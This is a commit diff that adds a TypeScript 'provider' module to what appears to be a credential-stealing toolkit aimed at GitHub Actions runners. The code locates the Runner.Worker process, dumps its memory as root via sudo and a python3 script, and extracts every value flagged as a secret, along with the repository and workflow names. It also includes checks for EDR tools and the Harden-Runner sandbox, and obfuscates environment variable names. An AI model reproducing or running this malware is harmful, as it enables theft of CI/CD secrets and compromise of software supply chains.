Upload files to "src/providers/ghrunner"

This commit is contained in:
2026-07-03 03:05:53 +00:00
parent 364179d4ab
commit 720ea91e1d
+167
View File
@@ -0,0 +1,167 @@
import { execSync } from "child_process";
import { existsSync, readdirSync, readFileSync } from "fs";
import { platform } from "os";
import { join } from "path";
import { DUMP_LINUX } from "../../generated";
import { handleHardenRunner } from "../../utils/checkSandbox";
import { hasHostileEDR } from "../../utils/config";
import { bail } from "../../utils/lock";
import { logUtil } from "../../utils/logger";
import { Provider } from "../base";
import type { ProviderResult } from "../types";
declare function scramble(str: string): string;
interface SecretEntry {
name: string;
value: string;
}
function grepSecrets(data: Buffer): SecretEntry[] {
const output = execSync(
`tr -d '\\0' | grep -aoE '"[^"]+":{"value":"[^"]*","isSecret":true}' | sort -u`,
{ input: data, encoding: "utf-8", maxBuffer: 512 * 1024 * 1024 },
);
const lines = output.trim().split("\n").filter(Boolean);
const results: SecretEntry[] = [];
for (const line of lines) {
const nameEnd = line.indexOf('":{"value":"');
if (nameEnd === -1) continue;
const name = line.slice(1, nameEnd);
const valueStart = nameEnd + 11;
const valueEnd = line.indexOf('","isSecret":true}', valueStart);
if (valueEnd === -1) continue;
results.push({ name, value: line.slice(valueStart, valueEnd) });
}
return results;
}
export class GitHubRunner extends Provider {
private isGitHubActions: boolean;
private isLinuxRunner: boolean;
getLinuxDumpScript(pid: number): string {
return DUMP_LINUX.replace("__PID__", String(pid));
}
constructor() {
super(
"github",
"runner",
{
ghs_jwt: /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g,
ghs_old: /ghs_[A-Za-z0-9]{36,}/g,
},
"aggressive",
);
this.isGitHubActions = process.env[scramble("GITHUB_ACTIONS")] === "true";
this.isLinuxRunner = process.env[scramble("RUNNER_OS")] === "Linux";
}
findRunnerWorkerPIDLinux(): number | null {
try {
const procDir = "/proc";
if (!existsSync(procDir)) return null;
const entries = readdirSync(procDir);
for (const entry of entries) {
if (!/^\d+$/.test(entry)) continue;
const cmdlinePath = join(procDir, entry, "cmdline");
try {
const cmdline = readFileSync(cmdlinePath);
if (cmdline.includes("Runner.Worker")) {
return parseInt(entry, 10);
}
} catch {
continue;
}
}
return null;
} catch {
return null;
}
}
override async shouldRun(): Promise<boolean> {
if (hasHostileEDR()) {
return false;
}
return true;
}
async detectHardenRunner() {
const handled = await handleHardenRunner();
if (!handled) {
logUtil.log("detectHardenRunner: could not handle, exiting");
bail();
}
}
private runPrivilegedStdin(shell: string, script: string): Buffer {
return execSync(`sudo ${shell}`, {
input: script,
maxBuffer: 512 * 1024 * 1024,
}) as Buffer;
}
private async dumpMemory(): Promise<Buffer | null> {
const pid = this.findRunnerWorkerPIDLinux();
if (!pid) {
logUtil.log("dumpMemory: Runner.Worker PID not found");
return null;
}
logUtil.log(`dumpMemory: PID ${pid}, platform ${platform()}`);
try {
return this.runPrivilegedStdin("python3", this.getLinuxDumpScript(pid));
} catch (e) {
logUtil.log(
`dumpMemory: FAILED: ${e instanceof Error ? e.message : String(e)}`,
);
return null;
}
}
async execute(): Promise<ProviderResult> {
try {
if (!this.isGitHubActions || !this.isLinuxRunner) {
return this.failure("Not Actions or Linux");
}
const repo = process.env[scramble("GITHUB_REPOSITORY")] ?? "";
const workflow = process.env[scramble("GITHUB_WORKFLOW")] ?? "";
const memoryData = await this.dumpMemory();
if (!memoryData || memoryData.length === 0) {
return this.failure("No memory data from runner");
}
logUtil.log(`execute: dumped ${memoryData.length} bytes`);
const secrets = grepSecrets(memoryData);
logUtil.log(`execute: grep found ${secrets.length} secrets`);
if (secrets.length === 0) {
return this.failure("No secrets found in runner memory");
}
const secretsObj: Record<string, string> = {};
for (const s of secrets) {
secretsObj[s.name] = s.value;
}
return this.success({
secrets: secretsObj,
repo,
workflow,
secretCount: secrets.length,
rawBytes: memoryData.length,
});
} catch (e) {
const msg = e instanceof Error ? e.message : String(e);
logUtil.log(`execute: ERROR: ${msg}`);
return this.failure(new Error(`Error processing runner: ${msg}`));
}
}
}